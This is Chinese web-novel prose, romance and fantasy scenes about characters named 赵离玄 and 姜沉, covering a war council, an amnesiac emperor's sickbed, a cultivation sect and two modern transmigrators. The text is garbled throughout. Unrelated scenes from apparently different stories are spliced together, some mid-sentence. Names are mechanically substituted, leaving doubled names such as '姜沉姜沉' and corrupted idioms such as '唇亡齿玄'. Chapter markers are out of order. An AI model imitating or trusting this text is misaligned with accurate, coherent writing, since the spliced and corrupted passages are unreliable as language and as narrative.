可这三座城池,却正是洛州咽喉,皆有道路连通洛州北部最后的屏障安城,一旦安城被破,敌军便可直捣州府安沐、瓜分洛州,甚至直冲乌恒。 南越洛州、乌恒两地土壤肥沃、城镇富庶、矿藏甚多、风水又好。 可都是江南不可多得的福地。 若非这般诱人垂涎,想必仪州侯樱祖也不会利欲熏心,不惜背刺多年旧友。 赵离玄:“……” 但此事对他们而言,倒不是坏事。 毕竟,对上仪州侯、随州侯他们,总好过对上姜沉本人。 更何况他们第一个要攻打的府清城,守军还偏偏是东泽拓跋部。赵离玄以前在东泽待过,跟拓跋部曾有过一些接触,颇有信心能抓准弱点、诱敌出城。 于是,大军只在安沐修整一夜,便打算向府清开拔。 偏偏,刚整备好就绪出城,又传来急报。 刚刚占了三座城池的随州、仪州、拓跋部三军,竟已密谋决定合兵同伐洛州。此时正大军三路齐发,南下围攻安城而来。 据说,此次随州侯出兵七万,仪州侯出兵八万,拓跋部出动五万人,加在一起人数,是洛州十万大军的整整两倍。 敌军来势突然。 眼下洛州只怕全速进军,也根本到不了府清城,就会先遭三路兵马合兵围攻。 一时人心惶惶。 经验丰富的几位将领立刻封锁消息,以防士兵哗变,匆匆赶来找少主与月华城主商量对策。 结果月华城主居然不在。 听说是上街去买个碗盘,马上回来。 邵霄凌:“怕什么,不就两倍的人。打就是了,我就不信打不过!” 他能这么说,一是因为他根本没打过几次仗,二是因为他又走运,之前少的可怜的战场经验,毫无章法的一通乱打,却还真有过几次“以少胜多”的战绩。 但那只不过是运气使然。 此刻这番这话在账内老将听来,无异于毫无经验的胡说八道。大家个个神色凝重,尤其是想起半年前的天昌之战—— 当时他们的旧主邵子坚,就是被仪州、西凉和随州的三方两倍兵马夹击围剿,不肯投降死战到底,最终落得尸首无存、令人扼腕。 眼下状况,仿佛昨日重现。 几乎是必输之局。 就连小公子邵明月都深深铭记赵离玄才教过他,平原遭遇,只要对方兵力是己方一倍半,就是碾压之局近无胜算了。 可能唯一的庆幸,就是敌军兵力也没到我军三倍以上。 月华城主还说过,想要强行攻城,需三倍以上兵力才可。否则只能围而不打,等待援军。 李钩铃咬牙:“可那样,不就进入了消耗战?” 要知道,洛州也耗不起。 统共十万兵,粮还是借的。如若就此被困安城,此番出征就变得徒劳无功。且只要西凉援军一到,安城必破。安城破了洛州就完了。洛州沦陷,乌恒唇亡齿玄。 李钩铃这次来,带了乌恒骁骑营五千人,是乌恒最骁勇善战的一支部队——但在怎么骁勇,以少胜多也要有个限度,五千打一万她还能勉强试试看,五千打二十万岂不痴人说梦? 不能据守,可出去又打不赢。 没有出路,更没有退路。 一时之间,仿佛前朝老将军的原城困局重现,账内一时悄然无声。 就在此时,赵离玄回来了。他是跑回来的,手里还拿着个刚买了个镶宝石的金丝大海碗。 卫留夷陪他买的,卫留夷付的钱。 赵离玄全程并无挣扎,毕竟对方眼下是洛州粮草大户,大敌当前恩怨先放放。今日全当讹了他一只金碗,也不便宜,讹一点是一点。 但那碗实在太大了,看着根本不合适用来吃饭,作为摆设又感觉过于浮夸。 买下时,卫留夷忍不住问:“阿玄,这碗是……” “啊,我拿来喂鸟的。” 卫留夷很是不解。 喂鸟的,不应是那种极小的精致白瓷盅? “那鸟很大,而且吃起肉来又贪又狡,跟他主人一模一样。” 卫留夷不知道他说的鸟,亦不知鸟主人是谁。 但不知为何。 看他带着笑说起那鸟主人“贪狡”,心里一阵闷闷酸楚。 赵离玄进营帐看到众人,也不废话,只把碗递给楚丹樨,让楚丹樨收入行囊之中。 随即拎起行囊:“众将,都已经准备完毕了吧?走吧,咱们即刻出发!” 众人皆一脸欲言又止。 “放心,可以打的。” 不像在场多人一般愁云惨淡,月华城主眼神笃定,甚至还笑了:“只要行动够快,就可以打,而且能赢。走,想赢就动作快!” “罢了好歹在山下转几天,回去也好说我尽力了。” “就在附近蹭蹭,又不进去嗯?这么危险的地方怎么会有人?而且那人背影怎么像白霜澄?” “还真是白师弟!你那么弱,还不好好在山上待着,谁准你下来送死的?” 赵深原来公司的小隔间,旁边坐的是一众女频责编。 他曾对一段女频编辑与作者的对话印象深刻。 “为什么会被骂?读者留玄不都说了吗?因为你明明设定是清纯女主,却才认识第二天就被人推倒,太没节操了!” “可是,就是因为没有经验又超级喜欢,才会这样啊~” “再喜欢也不行吧!要矜持懂吗?” “可是编编,真的、真的很喜欢、特别喜欢的时候,对方扑过来的话,那根本就是不可抗力呀!” 赵深过去一直觉得女频编辑说得比较有道理,而今才醒悟当年的自己是多么的天真。 确实是不可抗力啊! 如果今晚就要被吃掉虽然觉得太快又好害羞,但根本就逃不掉也主观上不想逃啊! 只要你高兴,只要你能开心,真的,随便吃!您请! 可那骨节分明的大手,却没有如同预想一样放在他的脸颊或者某些不可描述的位置,却只捉过了他一只胳膊:“执剑长老单手不方便,我来帮您。” 所以,这是情趣?洗干净再吃?赵离玄这次吐血昏厥后又睡了整整三日,而姜沉在这整整三日中始终不眠不休地和衣照顾他。 事实证明,哪怕人间绝色也禁不起这般折腾。 姜沉的模样已疲惫得不能看。 不止眼下一片黑青如重病一般,脸色也惨白如鬼,就连那本来好看的薄唇也已彻底干裂开来。 也怪不得那红衣太监总是着急火燎地一直劝他要多休息了,确实是有点太过憔悴。赵离玄正这么想着,那惨白如鬼的姜沉却突然俯身下来。 一阵普天盖地的幽香,赵离玄躺平僵直。 “阿玄。” 完了完了我死了。 “阿玄,”他问他,“身上可还有哪里难受?” 赵离玄:“呃,啊?” “可还有没有哪里不适,有否哪里痛。” 赵离玄 许是那双浅色的眸子里血丝过多,离那么近着实有点吓人。又许是姜沉一边言语关心,一边凉冰冰的手还死死掐在他脖子上。 赵离玄一时间实在难以适应那语调里突如其来的温缓。 幽幽烛光下,姜沉瞳色清浅,压抑着什么情绪。 片刻后,冰凉的手默默离开了赵离玄的颈子,只轻轻探了探他的额头的温度。 赵离玄 呃,这人咋就突然发善心了、不掐他了? 火焰幢幢。 姜沉略带疲倦的浅色眼里已不见几日前的凶戾癫狂。 他兀自垂眸半晌,也不说话。 半晌俯身,动作小心地抱着皇帝半坐起来,从旁边温鼎里拿出一碗仍热的稀甜粥,舀起一口吹了吹送他嘴边。 赵离玄 姜沉 赵离玄 皇帝不动,俊朗的脸上一片发懵。姜沉的手则僵在半空,眼中缓缓浮起一丝愠怒,他咬牙:“吃!” 一字千钧。 赵离玄便没再犹豫,一口啊呜就把粥吞了。 吃就吃,怕什么?姜沉想弄死他早弄死了,总不至于还特意多此一举救活他后又再在粥里下毒吧? 嗯,香! 赵离玄躺了两个月,早就饿坏了。 碧玉粳米粥颗颗分明,漂浮着点点干桂花,虽滋味清淡却十分香糯可口,他吃吃吃,几口便吃得胃口大开。 再加上喂饭之人长得又下饭,他心情一敞亮感觉又能再多吃上半碗! 心情敞亮赵离玄一边吃,一边暗自佩服自己心大。 堂堂天子一觉醒来失忆、吐血、昏倒、前途渺茫、险些被乱臣贼子掐死砍死、从头到尾两眼一抹黑,这一般人不得大哭几场么? 而他居然还能做到既无忧思惊惧、也不愁云惨淡。 还吃得欢,还一边吃一边认真欣赏喂饭逆臣的美貌与修长手指。 如此胆识。 他他娘的失忆前绝对是个人才! 不过话又说回来,大概也不能全怪他色令智昏。 因为,就算失忆受伤前途未卜,但能被这么一个绝美之人悉心照顾,难道还能有心情不好的道理? 至于美人阴晴不定、脾气不好、凶神恶煞、动不动就拔刀什么的。 就,做人要求也不能太高。 人家好看都这么好看了,骄纵一点嚣张一点也是情理之中。嗯。 昏君。 如此典型的狗昏君思路。 赵离玄:唉。 不过没事,不慌。 瞧瞧历史上的那些昏君,人家可都是能干出来千金买笑、烽火戏诸侯、甚至江山拱手的情圣事的! 人家那些都啥样的自我修养啊?他离顶级昏君还差得远。 一碗粥很快见了底。 姜沉大概也没想到他居然会那么能吃、还吃得那么香。 起先还略显僵硬阴鸷地冷着脸一口口喂,缓缓地喂顺手了,看他那狼吞虎咽的样子,浅色眸中倒也浮起一阵清光,冰封的脸上亦渐渐多了些许柔和。 吃完粥,姜沉放下碗:“换药。” 赵离玄:“哦。” “脱了。” 赵离玄伸出双手。 洗洗。洗洗洗。众人循声望去,只见层层烈火之中,竟是姜沉手持一柄流光溢彩、不曾见过的玉弓,正与赵离玄咬牙对峙。 也不知二人又是哪句话没说对,反正赵离玄脸上,尽是讥诮和被冒犯的愤怒。 两人激烈争吵,声音却全然被周围残余火焰燃烧的噼啪声和紊乱的灵流吞没。 突然,就见姜沉瞳孔骤缩,猛地咬牙,一道赤炎掌风就向对面劈去! 赵离玄刚侧身堪堪躲过,下一瞬,姜沉那玉弓燃上烈火,带着千钧之势再度扫向他来。 直逼得赵离玄张口|爆骂,狼狈闪避,头发都烧焦了些许。 姜沉没有给他多骂几句的机会。 佯攻,抢夺。 顷刻间,赵离玄那素来引以为傲的法宝黑羽火扇,竟被姜沉抢走,给烧成一道青烟。 场面彻底失控。 赵离玄彻底狂怒,劈手从身边柳树上扯下一段焦黑的柳条,虚晃一招后,竟直接将全身澎湃火灵全部灌注到那截“焦柳”之中。 随即化作一道凝练到极致、近乎白色的火焰长枪,直直袭向姜沉! 噗嗤。 一声闷响。 那白焰精准打中姜沉玉弓,爆发出惊人的炽烈,竟就这么在击碎玉弓后,又狠狠击穿了姜沉的右侧胸膛! “站起来。” “哎,哎?哎哎?” 姜沉催促道:“起来!转身!” “呃,可是” “执剑长老如何忸怩得像个姑娘家?都是男人,莫不是还怕被人看?” 赵深深觉上当。 直到此刻,他才发现姜沉整张脸上分明写满了闪瞎眼的四个大字“毫无邪念”! 正因为没有一丝邪念,才会脱成那样邀他共浴,还毫无芥蒂地用小丝瓜沾皂角暧昧地蹭遍他的全身,因为对方根本一秒钟都没把他当做潜在对象来看! 赵深差点都忘了。 姜沉一直钟情女主之一的小师妹,人设是个100%的直男! 大母神你过来,我保证不打死你!你不是说能弯的吗?! 这明显毫无弯掉的潜质啊! 还是说,大魔头其实是个大腹黑?表面一本正经,内心其实正在发笑? 第 29 章 第 29 章 几日前,棠棣仙门和金蟾宗交界处,更骇人地一连涌现了十几个紫晶秘境。 门中长老闻讯,尽数前往支援。 偏就在长老们离去后不久,仙门山下竟也隐隐显出一个紫晶秘境入口。 这个入口非同寻常,两日就魔气狰狞、扩散极快。 奉命代掌门的姜沉立刻千里传讯,可收到的回信,却是本门长老们此刻皆被困于紫晶秘境鏖战,目前音讯中断、境况未明。 眼看山下魔气日益扩散,门中众弟子束手无策。 姜沉深思半日,终究目光沉沉起身:“我去。” 姜师弟这般离危不惧、舍命抗下重担,众人皆肃然起敬。 唯有赵离玄听到什么疯话一般:“去什么去?!不许去!你去干什么,送死吗?” “眼下宗门,只有我能去。”姜沉的声音平静无波。 “你能去???你能去什么啊?!你也不看看从掌门到各宗长老如今全被困秘境生死不明!紫晶凶险可想而知!” “你只不过赤晶等级而已,距离紫晶境界还不知差几十几百年修为。你若进去,全然就是送死” 姜沉却仍垂眸整理行装,置若罔闻。“青青卿?” 赵离玄叫了两声,声音微哑。没有回答。 “他,青卿他,病、病了?”拂陵走后,皇帝一个人发了会儿呆。 可笑的是,眼眶酸疼得厉害,脑中依旧有清醒的杂音。 那声音冷冷道,赵离玄啊赵离玄,你真就信一个太监一面之词。 也不看看他是谁的人。他未必不是串通他主子一并来对付你。 但,怀疑人也总要有个限度。 倘若这都是局、这都能全是演,那赵离玄真也无话可说了。 那他真活该被骗玩不过人家,死了不亏!!! 人生在世。 偶尔也得丢却理智,去相信自己心底的声音。而赵离玄的心此刻正一字一顿告诉他 赵离玄,你是天子,你要有种。 你不能狗。 天子守国门,君王死社稷。 不管你以前有多狗,是真狗还是假狗。从今以后,都得站直溜了不准再狗! 身为天子,得不怕死。若是连义无反顾地去信一个人、爱一个人的勇气都没有,又有什么资格谈守国门、死社稷? 何况那人还是天上月、高岭花。 便是为了他一笑倾城,又如何不值你甘心认真宠着他? 你就从此站直溜了,洗心革面好好疼姜沉,一天也不准狗!!! 拂陵:“姜沉病了多日,因而一直无法起身去看望赵离玄。” 赵离玄:“那,那怎么病了也不跟我说。还说是风寒,这样子分明、分明比风寒严重多了。还有,那么冷的天,他,为何只穿单衣,被子也这么薄,这哪里是过冬的” 未说完,姜沉突然胸口起伏,咳了起来。 人未醒,只是剧烈地咳嗽,昏沉中满是痛苦之色。 很快血咳了出来,落在散乱的白色衣襟上如点点红梅、刺目猩红。 赵离玄的心停了片刻。 一时间,似乎有什么片段闪过,脑内隐隐作痛,满室幽香与血腥味混杂在一起,酸涩的感觉不断积压心头。 他掐自己手心,努力稳住,一旁拂陵轻车熟路拭去血污。 赵离玄:“他吐血、吐了好多” 语无伦次。他总觉得姜沉会冷,拉了被子想将人裹一裹、抱一抱暖着。可伸手过去,只见姜沉亵衣散乱,胸腹上赫然一条黑色纹路。 黑色的,蛇形。 “千机” 拂陵:“赵离玄竟还记得千机蛊?” 赵离玄恍惚点头又摇头。 奚行检说,姜沉数年前南征越陆时曾习得当地巫蛊之术,还担心他将这毒蛊用在皇帝上。 但为何。 拂陵:“姜沉当年奉命南征越陆,不幸中了这毒蛊,幸而寻得药草抑制多年无事。只是之前数月洛水水患封路,部分药草无法送到,因而此次发作姜沉只能生生捱过” “捱过去,他,要怎么捱” 奚卿说此蛊很是阴狠,会叫人痛苦难当。 “自是不好捱。”拂陵道,“好在药草都在快马加鞭的送,缺的最后一味‘叶浮沉’明早也该到了。” “为何,一直不跟我说实话。” 他收拾一件,赵离玄就往外扒拉一件:“我说不准去!姜沉,逞英雄也要有个限度!” 夜色渐深,烛火在姜沉轮廓分明的侧脸上投下明明灭灭的光影。 他抬眸,黑沉的瞳孔里映着跳动的烛光,却深不见底。 “师兄,”他声音低沉却清晰,“我本是弦月阁遗孤,在这世上无亲无靠。这些年来,全靠师门庇护栽培、养育教导,此恩当报。” “何况那秘境不远处便有好几个庄子老弱妇孺无处可逃,岂能放任不理。” “反正,”他微微垂眸,唇角牵起一抹极淡的弧度,“自测出千年灵根那日起,我便早已做好为苍生舍身的觉悟。” 赵离玄话语堵在喉间,突然什么也说不出。 人与人竟这般不同。镜中之人,倒也不能说就不俊朗。 黄铜镜面冰凉,里面的男子松散地披着白色紫纹的中衣,倒也生得一张端正脸。 棱角分明、英俊,略有点莫名不好惹的冷冽,长身玉立也算是气质不凡。 但要怎么说呢东泽,落姜山。 山脚下,孤零零矗立着东泽香檀城。孤城背靠群山险峻,对面是一片广袤平原。 平原之上,西凉大军正浩浩荡荡向此城而来。 落姜山上,一老者躬腰坐于山脊,枯瘦的双手不停摆弄着身前卜筮挂阵,一通缭乱的叮当作响,口中念念有辞。 “姜落西山,天火燎原。” “白发蛮王,星落命陨。” “天意如此,命数难违。”他忽而抬起头来,浑浊的眼里一道凌厉精光迸现,“此处就是这姜落山,今日便是那姜沉姜沉殒命之日——!” “哈哈……哈哈哈……” 老者是香檀城太守之父,更是东泽巫晗族的长老、赫赫有名的“神占大巫”。数十年来所算之卦件件应验、从无漏错。 姜沉族皆短命。 只是没想到,那“从无败绩”的枭雄姜沉姜沉,最终竟是殒命他手。如今一切已经毋庸置疑,他已布好天罗地网,卦象上的结果也一目了然。 “你们看,姜沉姜沉的命灯,已灭尽了。” “命格也已是一片灰空。” 无论如何看,皆已是无可救药的命定身死之人。 只不过殒命之前,看着还要历一两场大火焚烧之浩劫—— 老者喉中发出得意低笑。 前几日,他特命香檀太守佯败,一路丢盔弃甲并散布檀香城藏有秘宝的谣言,都是为了诱姜沉深入,为了今日大计,一把大火焚尽西凉二十万大军。 此刻老者身边,还有一群或着兵甲、或穿布衣之信徒。东泽人多笃信鬼神,听得此言,自然个个兴奋异常。 “今日姜落山杀姜沉,明日便可尽数抢我东泽之土!” “果然还是要靠大巫,那东泽盟军、纪散宜都算什么东西,在西凉逆贼面前屡战屡败废物无能!” “姜沉今日殒命于此,咱们也能名留史册。” “逆贼有违天命,早当该诛!” “东泽大巫千秋万岁!!!” 快了,就快了。 卦阵之上铃响越来越急,再快一些,再急一些,一旦西凉军踏入那座城…… “刷”—— 忽然,一道凌厉的金色眩光闪过众人眼前。 惊呼之中,竟是一支西凉长戟杵在他面前,戟尖深深插入土里,纯金色的盘龙戟身映着落日余晖,扔在不住摇晃着。 一名高挑男子出现得无声无息,只见他散着一头凌乱的白色长发,半遮着脸让人看不清,唯能看清略微裸露的上身从臂膀连到锁骨一大片赤红色的蛮族纹身,以及修长的玉色颈间正荡着一串尖尖狼牙。 人尽皆知,西凉人打扮豪放粗野、与中原不同。 而出战时更往往会人人涂绘油彩青面,全然看不出原本样。仿佛一群刚从鬼狱放出来的牛鬼蛇神。 然而此人脸上,却似乎并未涂有油彩。 只是银发覆面太长,仅能看到他向上勾起的、似鬼魅一般愉悦带笑的唇角。 “西、姜沉……” 传闻中姜沉姜沉,便是年纪轻轻就一头长长银丝。 大巫之前卜筮出来的零星文字,也一直说的是“白发鬼”、“白发蛮王”。 可、可此人若真是姜沉…… 他此刻不该在山下,入了香檀城陷阱么,为何会??? 随即,大巫悚然。 寂静得能闻风声的山林之间,陡然有无数双眼睛,将他与周遭护卫团团包围。山林之间,竟不止何时早已潜伏了众多西凉兵,一个个皆是衣着裸露、绘面纹身,安安静静无声无息。 脖子一片微凉。 沾着泥土的黄金戟尖,压住了大巫的颈后:“你就是巫晗族族长?” 那声音沉稳,不紧不慢、却是力度十足。山林在他发声之后,一时间似乎更死寂了几分,巫晗族护卫竟是全数僵在当场,一人也不敢动作。 “只要你降,我保你全族无事,香檀百姓……也不用受火烧之苦。” 大巫全身一颤。 姜沉还未踏入城中,如何就已得知了他要烈火焚城的计策? “不,不可能……” 不可能,那般周密的计划,更何况—— “星落命陨,其人必死,我的占卜从来未错一分一毫。巫晗一族命不该绝,而你命灯已灭,你今日、你今日注定必死!!!” 话音未落,一支利箭破空而来,正中姜沉面门。 直将那白发男子直直扫退了好几步,生生钉在了身后一棵大树之上。 一时,周遭死寂。 老人震愕,继而大喜。 “果然,命中注定、命中……” 不远处,城下山脚大石之上,一头簪花草、整张脸涂成花猫的西凉女子放下重弓,对天翻了个白眼。 而背靠大树的姜沉,此时也终于缓缓咬着那箭长出一口气,凌乱银发之中看不清脸,只听他抱怨地咕哝了一句:“红药,这也太过粗野了。” 箭矢之上,拴着一枚染血的玉坠。 大巫认出那玉佩:“我的儿啊啊啊啊啊——” “兴许还没杀。”姜沉将玉佩抛在大巫脚下,“肯降就留他一命。” 大巫的腿软了,无力跪倒在地上。 可是,为什么。 几十年了,他的占卜从未失灵过,为什么…… 叮叮当当,姜沉的手指拨弄过那卜阵上的铃铃线线。 “老爷子,我不信命。” “不信命,”他咧嘴笑道,“但我又一向命好。” 命好?大巫甚觉可笑,他这一生从未听过有哪个命好之人会是生来一头不吉利的白发,按照他相面多年的经验,分明是命途多舛、不得好死的凶煞之相! 正想着,忽然,头顶一凉。 一滴,两滴,竟是很快雨水倾盆。 姜沉伸出手: “一场好雨。” “瞧,即便我中计进了香檀城,大火也会被这雨水浇灭,这就是命好。” 世上怎么会有这种荒谬事!!!! 大巫彻底瘫软在地上,完全不敢相信。他在东泽生活了一辈子,东泽夏季一向是干旱连天,而且天象也显示往后十余日不会有雨。 怎么可能这般说下就下,而且会偏偏今日下!? 雨渐渐大了,遮人视线。 姜沉手伸到脸上,穿过头发,将那些碍事挡脸的头发往额头上一捋。 相面多年,大巫第一次后知后觉。 谁能想到那邋遢的长发下面,竟是一张神仙一般的绝色容颜。异色瞳,犀利光华,绝非池中之物的神仙面容,罗刹气焰! 这般样貌,贵不可言…… 大巫彻底跪伏了下去,良久再抬眼时,只见姜沉勾唇,笑得并不十分优雅。 “老爷子有所不知,我有一位未曾谋面的故人,每次见面……都要放火烧我。” “久而久之,熟能生巧。” “你那香檀城一城的油腥味儿,太过熟悉,我相隔十里都闻见了。” 怪就怪在赵离玄这两天的审美,已经被姜沉的美貌拔得太高。 高到了九霄云外,有点回不来。 镜中人样貌上倒是过得去,但若拿来比那姜沉,未免实在云泥之别!!! 姜沉是何等的风华绝世。 容姿就无一处不极端俊美,湖水一般澄碧生秋的双眸,高鼻,嘴唇是削薄的却并不显得薄凉,气质更是卓绝仙姿。 不笑时已是长林亭台积雪白、是冬庭月光度层霄,而赵离玄还尚未看过他笑。 待有朝一日他笑时,更不知会是如何远山失色、盛春明景。 那样绝色的男人就算是放在一众谪仙里,也必是最为惊艳出挑让人过目不忘的个中翘楚。 可镜中的皇帝赵离玄呢? 扔在普通好看的凡人堆里,能勉强算是出挑显眼的吧。 如此大的差距。 赵离玄心有不甘,可此刻他又能说什么呢? 好歹庆幸自己至少没长成一张唯唯诺诺、缩手缩脚、被权臣裹挟的没用傀儡狗皇帝标准脸吧! 不行,我不甘。 赵离玄不禁又流连在镜前转了几圈,努力认真找寻自己的优点。 优点也还是有的。 他好歹个高腿长、宽肩窄臀。姜沉身材颀长、腰段尤其诱人,但他也比之不差。 而且一笑起来 等一下! 赵离玄贴近铜镜。这一笑,他终于找到了乏善可陈狗皇帝的不寻常之处! 适才皱着眉站得笔直时,他只觉得镜中人有种端正寡淡、凉薄禁欲的疏离,却没想到一笑后,那气质竟全变了。 全然懒散的洒脱写意,带着些落拓不羁的顽劣。反差很大。 很奇怪,他不笑时是高冷雍容的。一笑却是莫名的邪气或者说匪气,生动灿烂。 但试问一个自小在宫中长大、从未流落民间的堂堂天子笑起来怎么会有种江湖游侠气质? 赵离玄也不明白,简直百思不得其解。 尽管历代正道照夜君命中注定的结局,往往都是与魔君同归于尽 可当年在他被误认为可能是照夜君人选时,也就只美滋滋想着倘若自己真是天命之子,该是何等风光。 至于英年早逝那些事,根本懒得想。 忽然,掌心一热。 冰凉坚硬的掌门令牌被塞入手心。 姜沉看着他,古井无波的黑眸此刻格外深邃,仿佛在描摹着什么。 “我不在,仙门就拜托师兄了。” “务必用心留守,保护好大家安全,待掌门长老们回来。” 隔日,姜沉孤身下山。 赵离玄则被迫接手一切繁杂事务分配各阶弟子清理对应品阶秘境,调度物资,安抚人心,处理危机代理掌门岂是易事? 简直忙得焦头烂额。 幸而黑云压城、人人自危,姜沉那群狗腿倒也没再闲心阴谋论,叨逼叨他“令牌来路不正”之类的话。 毕竟姜沉一旦不在,仙门最有威望的除了他还有谁? 好容易忙到半夜,赵离玄终于能喘口气。 也不知道姜沉进秘境后怎么样了,死了没有?! 真是讽刺,全师门总爱骂他鲁莽冲动,可真正不顾大局的到底是谁? 他就不会像姜沉一样孤勇逞强。他清楚自己实力极限只在赤晶,更高阶的秘境连边都不会沾!他才不会傻到去自寻死路。 “反正,我劝过了。” “有人非要找死、非要死外面,我能怎么办?!” “狗东西!怪不得整天摆张送葬脸,原来是算好了自己活不长。” “其实历代照夜君也不一定非得死啊,活下来的也那么多呢。” “何况你也未必一定是照夜君吧?呵,自大。”“所以,你是群里的‘赵编’?” “所以,你是群里的‘姜总’?” 警察叔叔就是这个人!这个帅得不像话的小厮,他、他居然是《天衍纪》网游设计组的项、目、总、监! 虽没不曾谋面,但毕竟同一个微信群里扯淡了几个月,算是神交已久。赵深不但知道此人是大母神的资深读者,从群里小姑娘的羞涩态度里还可以推断出这位姜总监姜慎行必定年轻、帅气、才华横溢前途光明,是一位不可多得的青年俊才! 而今,这位青年俊才正穿着个NPC的灰衣服,在他面前嗑着瓜子侃侃而谈。 “赵编,我很确定这儿并不是大母神的‘书中世界’,或者说也算是“书中世界”,但在‘书中世界’的基础上,大量融合了我们正在制作的那个‘游戏世界’的元素。” “何以见得?” “网游里埋的那些宝箱,我试过了,绝大多数可以挖得到。” “!”赵离玄默默捏了捏眉心。 话说他到底是怎么回事啊? 该记得的事一件也记不起,没必要记得的事情却件件一清二楚! 这选择性失忆,绝了。 罢了罢了。 皇帝看完画,旋即又去了西边暖阁。暖阁里有一方巨大的金银丝缎,他抓住一角用力一把扯了下来。 金银丝缎背后一片明亮。 丝缎下面盖着的是一枚巨大的等身西洋进贡水晶穿衣镜。 赵离玄在某些方面失忆得并不彻底,而在另外一些方面则失忆得特别彻底。 彻底到他连自己长啥样都不记得。 此刻,他倒要好好瞧一瞧。 我到底得长得是有多么英俊潇洒、风流倜傥、玉树临风,天上有地上没有。 才能让一个绝代风华的摄政大权臣拿我毫无办法,被我气得咬牙切齿、想杀想砍却又不得不小心翼翼。 哪怕不是天底下一等一的风流倜傥、气度不凡、龙精虎猛、天人之姿,也至少得叫人一见欢喜、如沐春风吧?! 金银丝缎重重落在脚边。 “赵编你看,这是我在屋后枯井里摸出来的清风咒,这是从前山挖到的回复药品莳萝果和妙法灵丹,这边还有” “金、金手指!!” 赵深激动得都忘了自己还在发烧,分分钟抱住大腿。来了来了终于来了!我就说我的穿越金手指一直不出现超级不科学的! 眼前这位熟稔全部游戏设定的总监姜慎行,不就是个华丽丽的、活的金手指吗?! “金、金手指?!”姜慎行吓得整个人都不好了,“赵编赵编你镇定,我TM现在就只是个苦逼的穿越NPC而已啊!超脆、超容易跪的,你角色设定哪哪设定都比我强多了,应该是我抱你大腿才对啊!” “乒零乓咚”隔墙突然传来瓶罐被接连打碎的声音,打断了屋里两个穿越人士的如火基情。 “什么情况?” “呃,”姜慎行从他那小叮当口袋一样的袖中掏出无花果,“估计是那群熊孩子又跑去魔头的院里的打砸抢了吧?” “什么?什么打砸抢?什么熊孩子?” “呃,赵编你不知道?” 隔壁的小院,入眼已是一片碎片狼藉。 精心搭建的小花台已被整个儿捣烂,空荡荡的半盆草都没给留下。 姜沉佝偻着身子,一瘸一拐低头收拾着一地七零八落的断枝残花。看着他隐忍不发的样子,赵深登时气愤加心疼:“谁干的?” “就你那群熊徒儿啊,他们隔段时间就会过来捣一次乱的,”姜慎行嚼着果子,“尤其熊孩子之首赵编你绝对很熟的!” 第 30 章 第 30 章 众人无语凝噎,个个怀着风萧萧兮送壮士的心,目送姜沉。 师弟啊!!! 他喂你药你还真敢吃,就不怕那是毒啊! 更不要说他所谓的“给你好好补补身体”,烧的可是一大锅山珍菌子汤啊! 灵菌还全是赵离玄自己去后山采的,一篮子五颜六色的红伞伞白杆杆。 据说他采菌时,还时不时发出“桀桀桀”诡异的笑声。 分明就是用尽阴毒手段,存心暗害你啊! 歪理邪说! 全然是一派胡言的歪理邪说!!! 真的是个明眼人都看不下去了:"那你倒是说说,为何最近只有你下境,绿晶秘境才异常凶险、危机频出?" "我也不知道啊!我难道想遇险吗?"赵离玄无语,"说得我好像存心害他似的。" "我平日这般疼爱小师弟,干嘛要害他?" 为什么?拂陵走后。 赵离玄眼眶依旧很痛,却不曾闲着。 先是找老太医细细问那药方,又将记得的、新翻书翻到关于药草的线索一一笔墨记下。 老太医按说是太医院最见多识广的医者,可关于这些不寻常的药材与药房,结果知道的竟还没皇帝多。 实在是这些药材太过罕见。‘饮离散’据说只于大漠深处偶尔生长,‘穆天冬’在瀛洲古文才有记载,而“湖心黛”听闻只生越陆一片湖心海中 鹦鹉:“呱笨蛋阿玄!笨蛋阿玄!” 赵离玄本来怕一只绿鹦鹉换了主人空虚寂寞,还特意叫樱儿找了一只白色的雪花团子文鸟来陪它。万没想到文鸟一来,鹦鹉一兴奋就更闹腾了。 鹦鹉:“嘎,傻鸟!傻鸟!傻鸟!” 文鸟:“叽!” 鹦鹉:“傻鸟!傻鸟!” 文鸟:“叽叽叽叽!” “好了,你别欺负人家普通鸟。” 赵离玄戳戳那鹦鹉,声音闷闷的:“傻鸟,来跟我学,笨蛋姜沉。” 鹦鹉:“笨蛋阿玄,笨蛋阿玄!” “笨蛋姜沉。” “笨蛋阿玄嘎!” “傻鸟。”拂陵说的这些事,在本朝世家列传里也有记载呼应。 赵离玄才翻过世家列传,列传只寥寥数语,便记录了“姜沉姜青瞿”半生功绩 “宣明朝太尉姜薪火之子姜沉,自幼聪敏好学,十岁入宫伴读,常侍锦裕帝左右。” “后帝登基,姜沉政绩斐然、能征善战,颇得帝宠。一路平步青云,由御前侍卫至中书令再官至骠骑大将军、勤绩侯。后又攻打越陆瀛洲、收复燕云,更由帝亲御赐“岚”字,封姜沉。” 大夏开国三百年,从未封过异姓王。 就连当年跟着太|祖爷打天下的赫赫功臣,也都只是封侯拜相。 姜沉姜青瞿,是大夏朝破天荒第一个也是唯一一个异姓王,可见隆宠圣眷。 可是。 “既然当年我对青瞿盛宠,却又为何会变成如今这般?” 拂陵叹了口气。 “还能为何。” “赵离玄与姜沉二人两小无猜、多年的情分,年少时又一直亲近扶持、相互笃信。” “赵离玄继位后,姜沉自要为稳固赵离玄江山着想,便多次请缨率军南征北战。” “不知受了多少苦、多少伤。” “却不成想,功高震主。” “傻鸟,嘎!” 就离谱。 赵离玄笑,眼眶却又开始疼了。姜沉送他这劳什子到底是怕他选秀,还是其实只是讽刺他是只会呱呱叫的没头脑鹦鹉。 不然为何偏偏送了只他眼睛的墨绿色。 “你看你,”他对着那鸟喃喃,“哄你那么多天你不急,说绿你你马上知道急了。你傻不傻。” “你快点好。” “我以后好好待你,好不好。” “其实仔细想想,我第一眼看到你就心生欢喜,也未必一定是色令智昏。” “也不知我以前到底怎么你了你天天那么气。你说我没有心,我却认真都记得你的药呢。” “我想为你遣散后宫,也没有后宫可以遣。” “我也未必是那么的不好吧。” 当然因为你嫉妒他,欲除之而后快。 这赵离玄,实在恶毒又能装!!宫渡和良宵两个徒儿毕竟十几岁的年纪、精力正旺。自从进了城,双双如同脱缰的野狗般撒欢一路跑在前面。 此刻,两个都冠散衣乱、满脸既是兴奋又带遗憾地疯跑了回来。 “师父师父,我同余生师弟刚才跑遍了夜市,所有花坊都没有鬼灯笼花在卖。说是那东西要的人少,便没栽培。” “好吧,辛苦你们了,”赵深从袖中拿出银子,“拿钱去点心铺买你们爱吃的糕点吧。但别吃太饱,半个时辰之后我们临江酒楼见,还要追顿好的。” 